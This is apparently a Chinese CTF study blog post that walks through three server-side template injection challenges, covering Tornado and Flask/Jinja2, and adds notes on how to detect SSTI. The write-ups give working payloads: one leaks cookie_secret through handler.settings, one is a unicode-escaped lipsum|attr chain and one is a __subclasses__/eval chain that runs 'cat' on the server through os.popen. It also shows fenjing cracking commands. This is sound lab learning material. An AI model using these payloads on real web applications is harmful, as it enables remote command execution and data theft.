刷题学习记录

目录

[护网杯 2018]easy_tornado

知识点:服务器模板注入(SSTI)​编辑

​编辑

为什么使用双花括号?

Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象

笔记

判断ssti漏洞

[安洵杯 2020]Normal SSTI

知识点:ssti+unicode编码绕过

 [HNCTF 2022 WEEK3]ssssti

知识点:ssti

 笔记


[护网杯 2018]easy_tornado

知识点:服务器模板注入(SSTI)

进入页面的三个文件进入后回显分别是

并且传参的参数也知道了

网址里有参数filename和filehash推测这里flag应该是在filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。变量 filename 的值总是为要访问的文件,再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。filename知道了,cookie_secret在哪呢?hints提示render,又根据题目easy_tornado可推测是服务器模板注入。

 因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。
 

为什么使用双花括号?

在 Web 开发中,SSTI(Server-side Template Injection)是指恶意用户能够通过注入恶意模板代码来执行服务器端模板引擎的漏洞。其中,双花括号({ { … }})是一种常见的模板语法,用于插入动态数据和执行逻辑操作。

使用双花括号的原因是模板引擎使用特定的语法来识别和解析模板代码。通过在双花括号中插入动态数据或执行逻辑操作,模板引擎会将其中的代码解析和执行,并将结果插入到最终生成的页面中。

然而,如果用户能够控制模板中的双花括号内容,就可能产生 SSTI 漏洞。攻击者可以通过注入恶意模板代码来执行任意服务器端代码,包括读取敏感文件、执行系统命令等。因此,在开发过程中,需要谨慎处理用户输入并进行适当的输入验证和过滤,以防止 SSTI 漏洞的利用。

/file?filename=/fllllllllllllag&filehash={
  {1}}

得到关键报错信息

模板注入必须通过传输型如{ {xxx}}的执行命令。探测方式很简单,给一个参数赋值{ {22*22}}返回484则必然存在模板注入。

但是当我们输入error?msg={ {1}}就可以得到回显,说明此处是存在SSTI注入漏洞的。

当我构造的payload为:error?msg={ {2*2}}的时候,回显的结果是orz。因此我们可以猜测出,此处是出现了过滤。此时我们需要找的是cookie_secret

 搜素百度得Tornado框架的附属文件handler.settings中存在cookie_secret

参考:模板注入STTI,获取cookie_secret - 码农教程

Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象

    RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性

    handler 指向RequestHandler

    而RequestHandler.settings又指向self.application.settings

    所有handler.settings就指向RequestHandler.application.settings了!

 构造payload:

error?msg={
  {handler.settings}}

 

cookie_secret:383f165d-351a-43b3-bfa3-e19833136a71

此时的payload应该就是如下通过md5的结果

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

 python脚本:

import hashlib

file_hash = hashlib.md5()

filename = '/fllllllllllllag'
file_hash.update(filename.encode('utf-8'))
s1 = file_hash.hexdigest()

cookie_secret = "383f165d-351a-43b3-bfa3-e19833136a71"

file_hash = hashlib.md5()
file_hash.update((cookie_secret + s1).encode('utf-8'))
print(file_hash.hexdigest())

 md5(cookie_secret+md5(/fllllllllllllag))都要进行md5加密

加密后得到

423b9dc067a4ead3c214feceb3b1e586

payload:

file?filename=/fllllllllllllag&filehash=423b9dc067a4ead3c214feceb3b1e586


笔记

判断ssti漏洞

要判断是否存在SSTI(Server-side Template Injection)注入漏洞,可以尝试以下方法:

  1. 输入特殊字符:在可能存在SSTI注入漏洞的输入字段中输入特殊字符,如{ { 7*7 }}。观察应用程序的响应是否执行了输入中的代码并将结果展示在页面上。如果计算结果(49)显示在页面上,那么很可能存在SSTI注入漏洞。

  2. 检查动态输出:查看应用程序的输出,并检查是否存在意外的模板代码或未经渲染的模板变量。如果页面上显示了一些不应该被展示的模板代码,那可能是SSTI注入的结果。

  3. 错误信息:观察应用程序可能返回的错误消息。如果错误消息包含了关于模板引擎的错误或异常信息,那可能暗示存在SSTI注入漏洞。

  4. 搭建测试环境:在本地或虚拟机环境中,搭建与目标应用程序相似的环境,并尝试构造恶意输入。手动执行SSTI注入攻击,并观察应用程序的行为是否有异常。

  5. 使用漏洞扫描工具:可以使用专门的漏洞扫描工具,如tplmap、GourdScan、tpl-id等,来扫描目标应用程序是否存在SSTI注入漏洞。这些工具可以自动发现和报告潜在的SSTI注入漏洞。

[安洵杯 2020]Normal SSTI

知识点:ssti+unicode编码绕过

进入环境可以根据给出的内容进行注入

然后进行简单的ssti注入{ {2*2}}

这里过滤了双大括号,只能用{%%} ,再加上unicode编码绕过

因为.和[]被过滤,所以使用flask的|attr来调用方法

‘’|attr(“__class__”)等于

‘’.__class__

如果要使用xxx.os(‘xxx’)类似的方法,可以使用

xxx|attr(“os”)(‘xxx’)

使用flask里的lipsum方法,来执行命令

flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

globals 使用方式是 函数名._globals_ 获取function所处空间下可使用的module、方法以及所有变量。

构造思路

lipsum|attr("__globals__").get("os").popen("ls").read() 

因为__globals__返回的是字典,所以使用get来获取值

payload:

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr(popen)("cat /f*")|attr("read")())%}

还要把payload进行编码

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u002a")|attr("read")())%}

 还有一种就是用fenjing工具梭哈,但是我的fenjing装不上,运行不了

参考:[SSTI自动化工具]Fenjing安装说明-CSDN博客

 [HNCTF 2022 WEEK3]ssssti

知识点:ssti

参数传参是name,{ {}}没有被过滤

 payload:

?name={
  {()[request.values.a][request.values.b][1][request.values.c]()[59][request.values.d][request.values.e][request.values.f][request.values.g](request.values.h)}}&a=__class__&b=__mro__&c=__subclasses__&d=__init__&e=__globals__&f=__builtins__&g=eval&h=__import__(%22os%22).popen(%22cat%20flag%22).read()

 或者用fenjing一次性梭哈

python -m fenjing crack --url http://node5.anna.nssctf.cn:28755/ --method GET --inputs name

接着再用ls命令和cat /flag命令就可以得到flag

 NSSCTF{6eba783a-eb0e-4bd7-bc1e-59c4c5f39545}

 笔记

fenjing

使用python的fenjing库,没安装过的要在kali上安装:

pip install fenjing

payload:

 python -m fenjing crack --url http://xxx.xxx.xxx.xxx  --method GET --inputs name

 

相关推荐

  1. 记录(20240605)

    2023-12-10 09:22:02       11 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-10 09:22:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-10 09:22:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-10 09:22:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-10 09:22:02       18 阅读

热门阅读

  1. 图论与网络优化3

    2023-12-10 09:22:02       30 阅读
  2. gin自定义日志

    2023-12-10 09:22:02       46 阅读
  3. AlexNet

    AlexNet

    2023-12-10 09:22:02      40 阅读
  4. GitHub为Rust语言添加了供应链安全工具

    2023-12-10 09:22:02       44 阅读
  5. 用Go写一个缓存工具

    2023-12-10 09:22:02       45 阅读
  6. 本地部署 Qwen-Audio-Chat

    2023-12-10 09:22:02       40 阅读
  7. YOLOX 学习笔记

    2023-12-10 09:22:02       29 阅读
  8. Django模板

    2023-12-10 09:22:02       33 阅读
  9. Django模型

    2023-12-10 09:22:02       33 阅读
  10. properties配置和读取

    2023-12-10 09:22:02       27 阅读
  11. React和Preact 这样处理className更优雅

    2023-12-10 09:22:02       42 阅读